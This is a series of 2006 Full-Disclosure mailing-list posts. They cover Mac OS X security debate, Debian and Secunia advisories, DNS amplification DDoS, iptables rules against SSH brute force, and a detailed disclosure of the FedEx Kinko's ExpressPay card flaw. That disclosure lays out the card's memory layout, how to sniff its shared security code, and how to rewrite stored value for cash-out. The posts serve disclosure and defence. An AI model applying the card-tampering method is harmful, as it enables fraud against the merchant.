Re: [Full-disclosure] Question about Mac OS X 10.4 Security
Mac's have always held the distinction of being more secure by, among other things, not being a target. -- Due to the lack of extensive use, virus and mal ware writers have ignored taking the time to write virus for Macs. Simple philosophy - Why climb the wall , when you can walk through the door. Windows is easier and more prolific, until that changes, we are not going to see major attacks on the mac platform. JMHO On 2/28/06 12:04 AM, Ferdinand Klinzer [EMAIL PROTECTED] wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hey Guys, What you think about the latest Mac OS X 10.4.x Security flaws? I think it will go fast then it goes like Windows Systems more and more Trojan Horse and other security bugs... I only want make a thread about what you think? Cheers Ferdinand -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (Darwin) iD8DBQFEBAQoivpgT1glX4cRAow2AJ4xcl8to6Vtzb/mAccqjSG0WuE1jwCeJpeV OKrrslBaBNxiV1GcLHgvcPU= =bNj4 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- Stephen Johnson The Lone Coder http://www.ouradoptionblog.com *Join us on our adoption journey* [EMAIL PROTECTED] http://www.thelonecoder.com *Continuing the struggle against bad code* -- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 983-1] New pdftohtml packages fix several vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 983-1 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze February 28th, 2006 http://www.debian.org/security/faq - -- Package: pdftohtml Vulnerability : several Problem type : local (remote) Debian-specific: no Derek Noonburg has fixed several potential vulnerabilities in xpdf, which are also present in pdftohtml, a utility that translates PDF documents into HTML format. The old stable distribution (woody) does not contain pdftohtml packages. For the stable distribution (sarge) these problems have been fixed in version 0.36-11sarge2. For the unstable distribution (sid) these problems have been fixed in version 0.36-12. We recommend that you upgrade your gpdf package. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2.dsc Size/MD5 checksum: 602 8dc87f9f04bf4e95d628a81540b5320e http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2.diff.gz Size/MD5 checksum:11953 aa4fe47eeec4ff81df92aab8f218f1f1 http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36.orig.tar.gz Size/MD5 checksum: 300922 75ad095bb51e1f66c9f7691e6af12f44 Alpha architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_alpha.deb Size/MD5 checksum: 314142 b5bd8a038769a31b74bc9baf7498 AMD64 architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_amd64.deb Size/MD5 checksum: 259728 a16f018455f8e3409399f9123af3c17a ARM architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_arm.deb Size/MD5 checksum: 266500 bbf302ca14ddad34769b0b8a5822d139 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_i386.deb Size/MD5 checksum: 253988 fd6e84484e62b90ff4eb419bdff63044 Intel IA-64 architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_ia64.deb Size/MD5 checksum: 374206 900ea16bffd41ff59272bab4e89077a9 HP Precision architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_hppa.deb Size/MD5 checksum: 330356 4bf2182b3dc9f1269efb039c07fceea3 Motorola 680x0 architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_m68k.deb Size/MD5 checksum: 234812 34eb54fb6c07676aee15a9cc15110c28 Big endian MIPS architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_mips.deb Size/MD5 checksum: 311482 2540b6b4c0b523087a40fb4ef7b57c46 Little endian MIPS architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_mipsel.deb Size/MD5 checksum: 307188 16034038f8c3c206623702c4b3695b69 PowerPC architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_powerpc.deb Size/MD5 checksum: 269634 4053b1c0d6c76ca5c94ee97df412b5e5 IBM S/390 architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_s390.deb Size/MD5 checksum: 242482 ff9f29460ad1cb56b4c92dfd3e1e2d57 Sun Sparc architecture: http://security.debian.org/pool/updates/main/p/pdftohtml/pdftohtml_0.36-11sarge2_sparc.deb Size/MD5 checksum: 245378 d1ecf4c546240dab174947827b01766e These files will probably be moved into the stable distribution on its next update. - - For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce@lists.debian.org Package info: `apt-cache show pkg' and http://packages.debian.org/pkg -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (GNU/Linux) iD8DBQFEBCZ5W5ql+IAeqTIRAhc3AJ98FvheYHaNnpIW4lCYjqsVD0JDmQCeO54D 8x13RBAhHVkh9GvAHmI7Sx8= =KfUo -END PGP SIGNATURE-
[Full-disclosure] recursive DNS servers DDoS as a growing DDoS problem
Hi guys. We discussed recursive DNS servers before (servers which allow to query anything - including what they are not authoritative for, through them). The attack currently in the wild is a lot bigger and more complicated than this, but to begin, here is an explanation (by metaphor) of that part: Spoofed ICMP attacks have been around for a while. How many of us still get quite a bit of ICMP echo replies stopped at our borders? These replies come to us due to spoofed attacks using our addresses. Now, imagine it - only bigger: Smurf. Introduce an amplification effect. As bigger UDP packets will be fragmented by the servers, and UDP obviously does not do any handshake and can easily be spoofed... The server receives a large packet, breaks it down to several fragments and moves the query on. That's where the amplification effect _starts_. Both the attacked server and the unwilling participant in the attack, the recursive servers, experience a serious DNS denial of service that keeps getting amplified considerably. One of the problems is obviously the spoofing. Let us, metaphorically and WRONGLY treat it for a minute as the remote exploit. The second part of this problem is the recursive server, which for the moment we will WRONGLY treat as the local exploit. Obviously both need to be fixed. Which is easier I am not so sure. In the past, most network operators refused to implement best practices such as BCP38 (go Fergie!) because they saw no reason for the hassle. Returning back to: if it isn't being exploited right now, why should I worry about it? Well, it is being exploited now, and will be further exploited in the future. Combating spoofing on the Internet is indeed important and now becoming critical. Removing the spoofing part for a second, the attack vector for this can easily be replaced, as one example, with a botnet. A million Trojaned hosts sending in even one packet a minute would cause quite a buzz - and do. Now amplify the effect by the recursive servers and... So, putting the spoofing aside, what do we do about our recursive servers? There are some good URL's for that, here are some: http://www.us-cert.gov/reading_room/DNS-recursion121605.pdf http://cc.uoregon.edu/cnews/winter2006/recursive.htm http://dns.measurement-factory.com/surveys/sum1.html The recursive behaviour is necessary for some authoritative servers, but not for all. As a best practice for organizations, as an example, the server facing the world should not also be the one facing your organization (your users/clients). Limiting this ability to your network space is also a good idea. If you would like to check for yourselves, here is a message from Duane Wessels [1] to the DNS-operations [2] mailing list where this is currently being discussed: - If anyone has the need to test particular addresses for the presence of open resolvers, please feel free to use this tool: http://dns.measurement-factory.com/cgi-bin/openresolvercheck.pl It will send a single recursion desired query to a target address. If that query is forwarded to our authoritative server, the host has an open resolver running at that address. - Dan (DA MAN) Kaminsky and Mike Schiffman have done some impressive work on this subject, outlined in Dan's latest ShmooCon talk. They found ~580K open resolvers: http://deluvian.doxpara.com/, http://www.doxpara.com/ I suggest those of us who need more information or help go to the DNS-operations mailing list from OARC (see below) and ask the experts there, now that this is finally public. Thanks, Gadi. [1] Duane Wessels - DNS genius and among other accomplishments the author of dns top. [2] DNS-operations - http://lists.oarci.net/mailman/listinfo/dns-operations -- http://blogs.securiteam.com/ Out of the box is where I live. -- Cara Starbuck Thrace, Battlestar Galactica. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Fedex Kinkos Smart Card Authentication Bypass
Abstract: - The ExpressPay stored-value card system used by FedEx Kinko's is vulnerable to attack. An attacker who gains the ability to alter the data stored on the card can use FedEx Kinko's services fraudulently and anonymously, and can even obtain cash from the store. Description: The FedEx Kinko's ExpressPay system, developed by enTrac Technologies of Toronto, Ontario, is based on a Siemens / Infineon SLE4442 memory chip card. The data stored on this card is freely rewritable once a three-byte security code has been presented to the card's security logic. Neither this security code nor the data stored on the card is encrypted; anyone able to obtain the security code is free to rewrite the data stored on the card using an inexpensive commercially available smart card reader/writer. The first thirty-two bytes of the memory chip card are writable and subsequently permanently write-protectable (in this application, these bytes are write-protected), and contain a header which identifies the card as an ExpressPay stored-value card. Bytes 0x20 through 0x27 contain the value stored on the card, represented in IEEE 754 double-precision floating point format. Bytes 0x60 through 0x6A contain the card's eleven-digit serial number stored as unsigned zoned-decimal ASCII; digits 0x60 through 0x63 are the store number the card was initially issued at, and the remaining seven digits are assigned sequentially at the moment of first issue. A timestamp indicating date and time of issue are located from 0x30 through 0x37, and is repeated from 0xC7 through 0xCE. In order to write to the card, a three-byte security code must be presented in a specific sequence of commands as outlined by the SLE4442's white paper. By soldering wires to the contact points of the card and then connecting those wires to an inexpensive logic analyzer, an attacker can sniff the three-byte code as the kiosk or a card terminal prepares to write data to the card. This security code appears to be the same across all FedEx Kinko's ExpressPay cards currently in circulation. Once the three-byte code is known to the attacker, the card's stored value and serial number can be changed to any value. The ExpressPay system appears to implicitly trust the value stored on the card, regardless of what that value actually is. The system will also accept cards with obviously fake serial numbers (e.g. a non-existent store number followed by all nines). Using these altered cards, xeroxes can be made from any machine with a card reader, and computers can be rented anonymously and indefinitely. Most disturbing, however, is that since stored-value cards can be cashed out by an employee at the register at any time, an attacker could cash out altered cards obtained at little or no monetary cost. If a card is cashed out, its serial number does not appear to be invalidated in the system. If an attacker were to clone a known good card and cash it out, the clone would still be usable. Tested Vendors: --- - FedEx Kinko's Suspected Vendors: -- - Any client of enTrac Technologies who uses the ExpressPay stored-value card system. - Any company which uses a stored-value card system based on the SLE4442 Vendor and Patch Information: - Proof-of-concept of the initial security vulnerability was achieved on 8 February 2006, with research into the ramifications continuing through 12 February. Copies of this report were sent to both FedEx Kinko's and enTrac Technologies on 15 February; a read receipt was returned from enTrac on 19 February, while no receipt has yet been received from FedEx Kinko's. Solution: - - Encrypt data before storing it on the SLE4442 card, or migrate to a system which uses cards which have built-in encryption functionality. - Verify that the stored value on the card does not significantly differ from a reference value stored in a database. - Do not allow the use of cards with invalid serial numbers. - Invalidate serial numbers of cards that are cashed out. Credits: Strom Carlson, Secure Science Corporation: Hardware Security Division [EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Secunia Research: ArGoSoft Mail Server Pro viewheaders Script Insertion
== Secunia Research 27/02/2006 - ArGoSoft Mail Server Pro viewheaders Script Insertion - == Table of Contents Affected Software1 Severity.2 Vendor's Description of Software.3 Description of Vulnerability.4 Solution.5 Time Table...6 Credits..7 References...8 About Secunia9 Verification10 == 1) Affected Software ArGoSoft Mail Server Pro 1.8.8.5 NOTE: Prior versions may also be affected. == 2) Severity Rating: Moderately critical Impact: Cross-Site Scripting Where: Remote == 3) Vendor's Description of Software ArGoSoft Mail Server is full SMTP/POP3/Finger/IMAP server for all Windows platforms, which will let you turn your computer into the email system. It is very compact, takes about 1-5 Mb of disk space (depending on the version), does not have any specific memory requirements, and what is the most important - it's very easy to use. Product Link: http://www.argosoft.com/rootpages/MailServer/Default.aspx == 4) Description of Vulnerability Secunia Research has discovered a vulnerability in ArGoSoft Mail Server Pro, which can be exploited by malicious people to conduct script insertion attacks. Input passed in various e-mail headers (e.g. subject and from) is not properly sanitised before being displayed by the View Headers functionality. This can be exploited to insert arbitrary HTML and script code, which is executed in a user's browser session in context of a vulnerable site when viewing the headers of a malicious e-mail. == 5) Solution Update to version 1.8.8.6 or later. == 6) Time Table 24/02/2006 - Vendor notified. 24/02/2006 - Vendor response. 27/02/2006 - Public disclosure. == 7) Credits Discovered by Secunia Research. == 8) References No other references available. == 9) About Secunia Secunia collects, validates, assesses, and writes advisories regarding all the latest software vulnerabilities disclosed to the public. These advisories are gathered in a publicly available database at the Secunia website: http://secunia.com/ Secunia offers services to our customers enabling them to receive all relevant vulnerability information to their specific system configuration. Secunia offers a FREE mailing list called Secunia Security Advisories: http://secunia.com/secunia_security_advisories/ == 10) Verification Please verify this advisory by visiting the Secunia website: http://secunia.com/secunia_research/2006-6/ Complete list of vulnerability reports published by Secunia Research: http://secunia.com/secunia_research/ == ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
This is a perfect example of the idiocy pushing the OSX security myth: http://slashdot.org/comments.pl?sid=178631threshold=1commentsort=1mode=threadcid=14809189 __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
What you think about the latest Mac OS X 10.4.x Security flaws? I think it will go fast then it goes like Windows Systems more and more Trojan Horse and other security bugs... I think McAfee, Symantec, et.al. are all licking their chops at a new venue to hawk their products. I wouldn't be at all surprised if they're at least indirectly behind some of the research into those vulnerabilities. MAC users are also part of this problem, IMHO .. they're an elitist group that thinks their trendy little toy is immune to everything. Add to that MAC is built on UNIX, something your average art student knows even less about than Windows, and an operating system that's a lot more fun to tamper with once you're in. My $0.0184 (6% Ohio taxes withheld) Cheers, Michael Holstein CISSP GCIA Cleveland State University ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
Quite some time back, I posted a question here about brute force login attempts through SSH which had recently become a noticeable annoyance. There was some discussion here on the list, someone suggested using hashlimit, and I think the issue of brute force attempts through SSH has become just one more part of the background noise of the Internet. I finally got back around to looking at this on my system, and I figured out why my first attempts at using the hashlimit functionality in iptables had not worked. Hopefully late is better than never, so I present it here to anyone else who was as stupid and/or lazy as I was :) so that it took me this long to get back to work on it and get it right. Here is an iptables command to allow inbound SSH with a quite low limit on the number of connections which may arrive from a specific IP address in a short period of time. Combined with the default setting of OpenSSH which drops a connection after just a few failed login attempts, this has reduced the number of failed logins I am seeing in my nightly logwatch output from thousands to about ten per day. Since this use of hashlimit filters on source IP address, it does not create a denial of service against legitimate SSH connections, unless someone spoofs a very large range of source addresses and can somehow get those connections to actually open instead of just consume partly open TCP sessions. In such a case, other defenses are needed anyway. # iptables --table filter -A INPUT --protocol tcp --source 0/0 \ --destination-port ssh -m hashlimit --hashlimit 2/minute \ --hashlimit-burst 3 --hashlimit-mode srcip --hashlimit-name ssh \ -m state --state NEW --jump ACCEPT The stupid thing I did the first time I tried to set this up months ago was to put a command like the above in, and forget to take out the original iptables command allowing connections to the SSH port. hashlimit is a limiter on an iptables rule. Having one rule with a hashlimit in it, and a second matching rule with no hashlimit, just results in all connections being accepted without limit. Of course, the same thing would work to reduce brute force speeds on telnet, FTP, etc by changing the destination port argument. Please direct all flames to /dev/null, all cash contributions to /dev/me :) and all constructive comments and enhancement suggestions back to the list. Cheers! -Jay ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
--On Tuesday, February 28, 2006 00:15:10 -0800 Stephen Johnson [EMAIL PROTECTED] wrote: Mac's have always held the distinction of being more secure by, among other things, not being a target. -- Due to the lack of extensive use, virus and mal ware writers have ignored taking the time to write virus for Macs. Simple philosophy - Why climb the wall , when you can walk through the door. Windows is easier and more prolific, until that changes, we are not going to see major attacks on the mac platform. I think you're living in a fantasy world. The recent vulnerability, which allows the running of arbitrary code simply by clicking on a linked zip file will probably result in at least a handful of new viruses/worms for the Mac platform within the next week or two. Apple has made the same stupid mistake Microsoft has been making for years - mixing code and data and trying to make things easy for the user (read auto-launch this widget so you don't have to save and open.) The end result will be disaster for the Mac, but, thankfully, not on the same scale as Windows because not every user is an admin, and it requires the use of sudo to perform administrative functions. Still, the ignorance of Mac users, who believe their platform is somehow magically secure will contribute to the problem. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/ir/security/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
I wouldn't be at all surprised if they're at least indirectly behind some of the research into those vulnerabilities. Although I can not speak for Leap.A you are completly wrong with regard to the InqTana variants. http://digitalmunition.com/InqTanaThroughTheEyes.txt http://www.securityfocus.com/columnists/389 P.S. InputManagers are sexy. -KF ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
I think you're living in a fantasy world. The recent vulnerability, which allows the running of arbitrary code simply by clicking on a linked zip file will probably result in at least a handful of new viruses/worms for the Mac platform within the next week or two. I agree 100% . Zip file / metadata bug added to a malicious InputManager , fucked up dyld file or environment.plist is like instant IE style popup city for Mac users running Safari. It would literally take about 20 minutes to put something together. -KF ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
On 2/28/06, Paul Schmehl [EMAIL PROTECTED] wrote: snip Still, the ignorance of Mac users, who believe their platform is somehow magically secure will contribute to the problem. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/ir/security/ I am sorry, Paul, but I have to take you up on this, especially with your tendency of generalizing everything. I have used *nix in the past, for all my network and security tools, until MacOSX presented itself as an opportunity for migration, when I had a need for a new laptop (over two years ago). At that time the 2.6 kernel and available modules weren't up to the tasks of the latest hardware capabilities of x86 laptops, so - on an advice from a friend of mine - I have tried an iBook. I have been able to compile and port all my tools just fine, especially with the help of the underlying like-BSD infrastructure (long live fink and Darwin-ports). All I can tell you is that - ever since - I never looked back at other choices (w/the exception of Windows, which was never considered among choices, anyway, due to limitations in cygwin, not talking about the many other obvious reasons for the OS, itself ;)), and have recently got myself the latest still-PPC Powerbook, which just confirmed the rightness of the original migration. As a repository of security and network tools, I have thrown at this baby everything I can possible think of, and still haven't found a way to break it ... ... so the Mac users are not [only] the bunch of idiots/ignorants whom you tend to describe - I would just invite you to attend a blackhat or shmoocon, or even SANS or Cisco networkers, and let me know how many Mac users you can count there ... and then ask yourself why ... but then, again, I may be wrong ; Stef ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit
I haven't tried this myself, and I don't know if it is already suggested, but this should stop all the pesky scriptkiddies from filling up your logs. Might prove to be a better solution, who knows: http://aplawrence.com/Security/sshloginattack.html Matthijs ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force log
I am going to test these rules out -- this looks REALLy good! But...I've got just ONE question: why on Earth would you permit ICMP??? And what significances are ports 50, 51, 1599, 1600 and 1601? 443 and 80 are HTTP-S and HTTP (respectively), 123 is NTP -- I realize that, but what are these others ports used for? -r *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -s 10.0.0.0/24 -j ACCEPT -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -m recent --rcheck --name SSH -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 123 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1599 -m recent --name SSH --remove -j DROP -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1600 -m recent --name SSH --set -j DROP -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1601 -m recent --name SSH --remove -j DROP -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited COMMIT - Original Message - From: Matthijs van Otterdijk [mailto:[EMAIL PROTECTED] To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit I haven't tried this myself, and I don't know if it is already suggested, but this should stop all the pesky scriptkiddies from filling up your logs. Might prove to be a better solution, who knows: http://aplawrence.com/Security/sshloginattack.html Matthijs ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
Ok, first of all, the fact that you even mention Blackhat, SANS or Cisco Networkers makes me question if I should even respond...I will anyway. Yes, it's true a lot of folks, particularly in the security realm use Macs, myself included. The reason I use it has nothing to do with an imaginary belief in security supremacy, but rather that the tools I use on a daily basis run natively along side software like MS office. Previously, like many others, I would have been forced to run a kludgy dual boot or VMware based solution to solve this. OSX was the perfect solution. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Stef Sent: Tuesday, February 28, 2006 11:14 AM To: Untitled Subject: Re: [Full-disclosure] Question about Mac OS X 10.4 Security On 2/28/06, Paul Schmehl [EMAIL PROTECTED] wrote: snip Still, the ignorance of Mac users, who believe their platform is somehow magically secure will contribute to the problem. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/ir/security/ I am sorry, Paul, but I have to take you up on this, especially with your tendency of generalizing everything. I have used *nix in the past, for all my network and security tools, until MacOSX presented itself as an opportunity for migration, when I had a need for a new laptop (over two years ago). At that time the 2.6 kernel and available modules weren't up to the tasks of the latest hardware capabilities of x86 laptops, so - on an advice from a friend of mine - I have tried an iBook. I have been able to compile and port all my tools just fine, especially with the help of the underlying like-BSD infrastructure (long live fink and Darwin-ports). All I can tell you is that - ever since - I never looked back at other choices (w/the exception of Windows, which was never considered among choices, anyway, due to limitations in cygwin, not talking about the many other obvious reasons for the OS, itself ;)), and have recently got myself the latest still-PPC Powerbook, which just confirmed the rightness of the original migration. As a repository of security and network tools, I have thrown at this baby everything I can possible think of, and still haven't found a way to break it ... ... so the Mac users are not [only] the bunch of idiots/ignorants whom you tend to describe - I would just invite you to attend a blackhat or shmoocon, or even SANS or Cisco networkers, and let me know how many Mac users you can count there ... and then ask yourself why ... but then, again, I may be wrong ; Stef ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force log
Hey, I didn't write it, I just copied a link :P. Maybe the author likes to be pinged? Dunno what those ports are...On 2/28/06, Bob Radvanovsky [EMAIL PROTECTED] wrote:I am going to test these rules out -- this looks REALLy good!But...I've got just ONE question: why on Earth would you permit ICMP???And what significances are ports 50, 51, 1599, 1600 and 1601?443 and 80 are HTTP-S and HTTP (respectively), 123 is NTP -- I realize that, but what are these others ports used for?-r*filter:INPUT ACCEPT [0:0]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [0:0]:RH-Firewall-1-INPUT - [0:0]-A INPUT -j RH-Firewall-1-INPUT-A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT-A RH-Firewall-1-INPUT -s 10.0.0.0/24 -j ACCEPT-A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT-A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -m recent --rcheck --name SSH -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT-A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 123 -j ACCEPT-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1599 -m recent --name SSH --remove -j DROP-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1600 -m recent --name SSH --set -j DROP -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1601 -m recent --name SSH --remove -j DROP-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibitedCOMMIT- Original Message - From: Matthijs van Otterdijk [mailto:[EMAIL PROTECTED]]To: full-disclosure@lists.grok.org.ukSubject: Re: [Full-disclosure] reduction of brute force login attempts via SSHthrough iptables --hashlimit I haven't tried this myself, and I don't know if it is already suggested, but this should stop all the pesky scriptkiddies from filling up your logs. Might prove to be a better solution, who knows: http://aplawrence.com/Security/sshloginattack.html Matthijs ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Question about Mac OS X 10.4 Security
If you look at the [very, very] specific paragraph I was referring to, from Paul's email, then I hope you will agree with me that what I was trying to convey was the need to avoid generalizing categorization of users ... having said that, the implications are that a much higher awareness, and - in turn - possibility of addressing and/preventing issues related to vulnerabilities exists in the Mac community, vs. the Windows one, for example. Stef P.S. Sorry for top-posting, but going back to the end would have made this a mess ... On 2/28/06, Steven Rakick [EMAIL PROTECTED] wrote: Ok, first of all, the fact that you even mention Blackhat, SANS or Cisco Networkers makes me question if I should even respond...I will anyway. Yes, it's true a lot of folks, particularly in the security realm use Macs, myself included. The reason I use it has nothing to do with an imaginary belief in security supremacy, but rather that the tools I use on a daily basis run natively along side software like MS office. Previously, like many others, I would have been forced to run a kludgy dual boot or VMware based solution to solve this. OSX was the perfect solution. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Stef Sent: Tuesday, February 28, 2006 11:14 AM To: Untitled Subject: Re: [Full-disclosure] Question about Mac OS X 10.4 Security On 2/28/06, Paul Schmehl [EMAIL PROTECTED] wrote: snip Still, the ignorance of Mac users, who believe their platform is somehow magically secure will contribute to the problem. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/ir/security/ I am sorry, Paul, but I have to take you up on this, especially with your tendency of generalizing everything. I have used *nix in the past, for all my network and security tools, until MacOSX presented itself as an opportunity for migration, when I had a need for a new laptop (over two years ago). At that time the 2.6 kernel and available modules weren't up to the tasks of the latest hardware capabilities of x86 laptops, so - on an advice from a friend of mine - I have tried an iBook. I have been able to compile and port all my tools just fine, especially with the help of the underlying like-BSD infrastructure (long live fink and Darwin-ports). All I can tell you is that - ever since - I never looked back at other choices (w/the exception of Windows, which was never considered among choices, anyway, due to limitations in cygwin, not talking about the many other obvious reasons for the OS, itself ;)), and have recently got myself the latest still-PPC Powerbook, which just confirmed the rightness of the original migration. As a repository of security and network tools, I have thrown at this baby everything I can possible think of, and still haven't found a way to break it ... ... so the Mac users are not [only] the bunch of idiots/ignorants whom you tend to describe - I would just invite you to attend a blackhat or shmoocon, or even SANS or Cisco networkers, and let me know how many Mac users you can count there ... and then ask yourself why ... but then, again, I may be wrong ; Stef ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force log
